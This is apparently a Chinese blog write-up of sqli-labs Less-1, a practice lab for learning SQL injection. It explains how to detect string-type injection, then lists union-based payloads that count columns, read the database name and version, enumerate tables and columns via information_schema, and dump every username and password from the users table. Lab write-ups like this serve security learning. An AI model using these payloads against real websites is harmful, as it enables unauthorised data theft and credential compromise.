sqli-labs靶场第一关-Less-1:

第一关-Less-1:

sqli-labs这个靶场对于想学习和了解sql注入的小白来说(比如说像博主这样的菜菜),我也是开始打这个靶场,来具体的学习一下sql注入,靶场里面包含了很多的sql注入的情况,以及我们在sql注入的时候遇到的阻碍。

sqli-labs第一关:

GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)

判断是否存在sql注入漏洞:

在开始之前我们要先知道如何判断是否存在sql注入漏洞:

最为经典的单引号判断法:
在参数后面加上单引号,比如: 1' 如果页面返回错误,则存在 Sql 注入。
原因是无论字符型还是整型都会因为单引号个数不匹配而报错。

(如果未报错,不代表不存在 Sql 注入,因为有可能页面对单引号做了过滤,这时可以使用判断语句进行注入)

判断sql注入漏洞的类型:

通常sql注入漏洞的类型有两种:

1.数字型

2.字符型

其实所有的类型都是根据数据库本身表的类型所产生的,在我们创建表的时候会发现其后总有个数据类型的限制,而不同的数据库又有不同的数据类型,但是无论怎么分常用的查询数据类型总是以数字与字符来区分的,所以就会产生注入点为何种类型。

1.数字型判断:

当输入的参 x 为整型时,通常 abc.php 中 Sql 语句类型大致如下:select * from <表名> where id = x这种类型可以使用经典的 and 1=1 和 and 1=2 可以通过加,减,乘,除等运算来判断输入参数周围有没有引号来包围来判断:

Url 地址中输入x and 1=1 页面依旧运行正常,继续进行下一步。
Url 地址中继续输入x and 1=2 页面运行错误,则说明此 Sql 注入为数字型注入。

原因如下:
当输入 and 1=1时,后台执行 Sql 语句:select * from <表名> where id = x and 1=1 没有语法错误且逻辑判断为正确,所以返回正常。
当输入 and 1=2时,后台执行 Sql 语句:select * from <表名> where id = x and 1=2 没有语法错误但是逻辑判断为假,所以返回错误。

2.字符型判断:

当输入的参 x 为字符型时,通常 abc.php 中 SQL 语句类型大致如下:select * from <表名> where id = 'x'这种类型我们同样可以使用 and ‘1’='1 和 and ‘1’='2来判断:

Url 地址中输入 x' and '1'='1 页面运行正常,继续进行下一步。
Url 地址中继续输入 x' and '1'='2 页面运行错误,则说明此 Sql 注入为字符型注入。

原因如下:
当输入 and ‘1’='1时,后台执行 Sql 语句:select * from <表名> where id = 'x' and '1'='1'语法正确,逻辑判断正确,所以返回正确。
当输入 and ‘1’='2时,后台执行 Sql 语句:select * from <表名> where id = 'x' and '1'='2'语法正确,但逻辑判断错误,所以返回正确。

第一关:

第一步判断是否存在sql注入,提示我们输入数字ID最为参数,我们输入?id=1

我们输入?id=1'

页面返回错误,说明存在sql注入漏洞,现在来判断注入类型或者注入点:

先判断数字型:

?id=1 and 1=1

回显正常

再输入

?id=1 and 1=2

回显正常

排除是数字型注入

再判断字符型:

?id=1' and 1=1 --+
?id=1' and '1'='1

回显正常

再输入

?id=1' and 1=2 --+
?id=1' and '1'='2

页面回显异常,说明是字符型注入漏洞

这里出现了页面报错,说面存在注入点,而且是字符型注入漏洞

现在进行联合注入,先来判断它的字段数

?id=1' order by 1 -- +
?id=1' order by 2 -- +
?id=1' order by 3 -- +
?id=1' order by 4 -- +

但是当判断到4的时候页面报错,说明它里面的字段数只有3位

开始爆出显示位,就是看看表格里面那一列是在页面显示的:

?id=100' union select 1,2,3 -- +

注意,这里为什么要将1改为100,是为了成功执行我们的联合查询中的显错位,这里的id不存在100位这么多,就会将后面的联合查询中的1,2,3,显示出来。

也还可以这样:

?id=-1' union select 1,2,3 -- +

然后就可以得到回显:

可以看到是第二列和第三列里面的数据是显示在页面的

我们可以控制2,3出现的位置,那么开始判断库名:

获取当前数据名和版本号,这个就涉及mysql数据库的一些函数,记得就行。通过结果知道当前数据看是security,版本是5.7.26:

?id=-1'union select 1,database(),version() -- +


知道库名为 “security” 后,开始判断表名:

爆表,information_schema.tables表示该数据库下的tables表,点表示下一级。where后面是条件,group_concat()是将查询到结果连接起来。如果不用group_concat查询到的只有user。该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容

?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema='security' limit 1,1 -- +

?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema='security' limit 2,1 -- +

?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema='security' limit 3,1 -- +

?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema='security' limit 4,1 -- +

查询出表名有:emails,referers,uagents,users 四个

这里使用 limit 一个一个回显太麻烦,可以使用数据库的内置函数 group_concat() 来将表名一次性输出。

?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

得到回显:

爆字段名,我们通过sql语句查询知道当前数据库有四个表,根据表名知道可能用户的账户和密码是在users表中。接下来我们就是得到该表下的字段名以及内容

开始爆users的列名:

?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' -- +

得到回显:

这里我们爆出了三个列名:id,username,password

这里我们想要得到的数据分别是:username,password(用户名和密码)

然后根据这两个列名来爆出里面的数据

?id=-1' union select 1,group_concat(username),group_concat(password) from users -- +

得到回显:

这里我们就得到了数据库里面的所有用户名和密码

posted @   张伟文  阅读(603)  评论(1编辑  收藏  举报
相关博文:
阅读排行:
· 单线程的Redis速度为什么快?
· 展开说说关于C#中ORM框架的用法!
· Pantheons:用 TypeScript 打造主流大模型对话的一站式集成库
· SQL Server 2025 AI相关能力初探
· 为什么 退出登录 或 修改密码 无法使 token 失效
点击右上角即可分享
微信分享提示